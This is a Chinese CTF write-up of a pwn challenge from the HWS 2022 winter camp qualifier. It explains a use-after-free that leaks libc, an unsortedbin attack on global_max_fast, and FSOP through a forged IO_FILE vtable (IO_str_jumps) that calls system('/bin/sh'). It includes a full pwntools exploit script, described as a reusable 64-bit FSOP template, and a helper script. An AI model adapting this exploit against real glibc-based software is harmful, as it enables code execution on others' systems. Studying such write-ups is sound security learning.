hws2022冬令营入营赛pwn

2022年hws硬件安全冬令营入营赛赛题复现。

签到题

签到题整的这么难

漏洞点

所有的free都是UAF,并且可以直接泄露libc,可以任意写unsortedbin一次。libc 2.27-3ubuntu1.2,可以tcache double free

但是堆操作、堆分配大小都受限。

一开始在获得libc之后就卡住了。因为一方面改freehook则free次数不够,另一方面打global max_fast之后改写free_hook也很困难,因为fastbin有大小检查,而且我们能够拿到的堆块大小只能是0x1000。

之后问了别的师傅,了解到伪造vtable打IO_file。这也是以前没有学习过的利用方式。

关于IO_FILE参考了这篇文章还是写的很详细的。

unsortedbin attack

参考链接:

链接1链接2_ctfwiki

我们覆写global_max_fast,是因为以下代码。当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

使用如下payload,成功改掉global_max_fast。因为我们可以对global_max_fast直接写

image-20220128131439078

1
payload = p64(main_arena) + p64(global_max_fast-0x10) #overwrite global_max_fast

fsop

接着用unsortedbin attack再去改IO_file结构体。

改之前

image-20220128141718501

改之后。可以看到就改成了自己的堆地址。

image-20220128141742742

然后通过在自己的堆结构里面伪造一个vtable。具体代码如下

1
2
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,_IO_write_base=0,_IO_write_ptr=1,_IO_buf_base=binsh_addr,_mode=0,)
fake_file+=p64(IO_str_jumps-8)+p64(0)+p64(system)

简要分析一下流程。首先输入构造的Unsortedbin之后,结构如下

image-20220128142850512

unsortedbin attck能够写入_IO_list_all为之前本堆块地址(回顾unsortedbin attack相关代码)这就相当于劫持IO_file结构体并伪造。

之后

1
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system)

将vtable指针写成IO_str_jumps-8,之后p64(0)和p64(system)就在vtable指针结构体里面了。这里关键就是IO_str_jumps-8指向的是我们能够控制的地址。类似下图。只不过这里利用IO_str_jumps-8完成了连续的输入。而且/bin/sh的位置也不太一样。

这里有一点比较关键,就是选择大小为0x1430。是要经过精确计算的。只有这样才能改到_IO_list_all指针处。因为我们改写了global_max_fast,因此会被当作smallbin,可以类似house of orange 触发fsop。具体的计算方法,可以先通过一个0x1000的块,找这个块被free之后位置,再找_IO_list_all看一下偏移,再决定分配多少大小的块才能被unsortedbin attack放在io_file的位置。

image-20220128152928892

之后就可以拿到一个shell

image-20220128153000239

exp

64位fsop脚本,可以通用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
io = process('./pwn')
context.log_level='debug'
elf=ELF('./pwn')
libc = ELF('./libc-2.27.so')
context.terminal = ['tmux','split','-hp','60']



def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, b"\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, b"\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, b'\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, b"\x00")
return file_struct


def debug():
cmd = ""
# cmd = "brva 0xACC\n" # debug after unsortedbin attack
# cmd = "brva 0xB3D\n"
cmd += "brva 0xB78\n"
gdb.attach(io,cmd)




io.recvuntil('what size?')
io.sendline(str(0x1430))
io.recvuntil('what size?')
io.sendline(str(20480))
io.recvuntil('Do you want to rename?(y/n)')
io.sendline('y')
main_arena = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('main_arena: ' + hex(main_arena))
libc_base = main_arena - 0x3ebca0
success("libc_base " + hex(libc_base))
system = libc_base + libc.symbols['system']
success("system: " + hex(system))
global_max_fast = libc_base+0x3ed940
success("global_max_fast: " + hex(global_max_fast))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
success("io_list_all: " + hex(IO_list_all))
IO_str_jumps = 0x3e8360 + libc_base

payload = p64(main_arena) + p64(global_max_fast-0x10) #overwrite global_max_fast
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
debug()
io.recvuntil('please input your new name!')
io.sendline(payload)

io.recvuntil('Do you want to edit big box or bigger box?(1:big/2:bigger)\n')
io.sendline('1') # edit smaller one
io.recvuntil(':\n') # read into the smaller ptr

# fake_file 放的地方是smallbin中。使用需要满足以下条件
# --------------------------------------------------------------------
# 1. 已经改过global_max_fast。否则需要house of orange
# 2. 之后可以free这个堆块
# 3. IO_str_jumps寻找方法: 使用find_jmp找到偏移,直接用libc_base加。
# --------------------------------------------------------------------
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh_addr,
_mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system)

io.sendline(fake_file[0x10:])


io.interactive()

以下是find_jmp.py 直接运行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# find_jmp.py 
from pwn import *
io = process('./pwn')
context.log_level='debug'
elf=ELF('./pwn')
libc = ELF('./libc-2.27.so')
context.terminal = ['tmux','split','-hp','60']

IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print(possible_IO_str_jumps_offset)
break

grape

文章目录
  1. 1. 签到题
    1. 1.1. 漏洞点
    2. 1.2. unsortedbin attack
    3. 1.3. fsop
    4. 1.4. exp
  2. 2. grape
|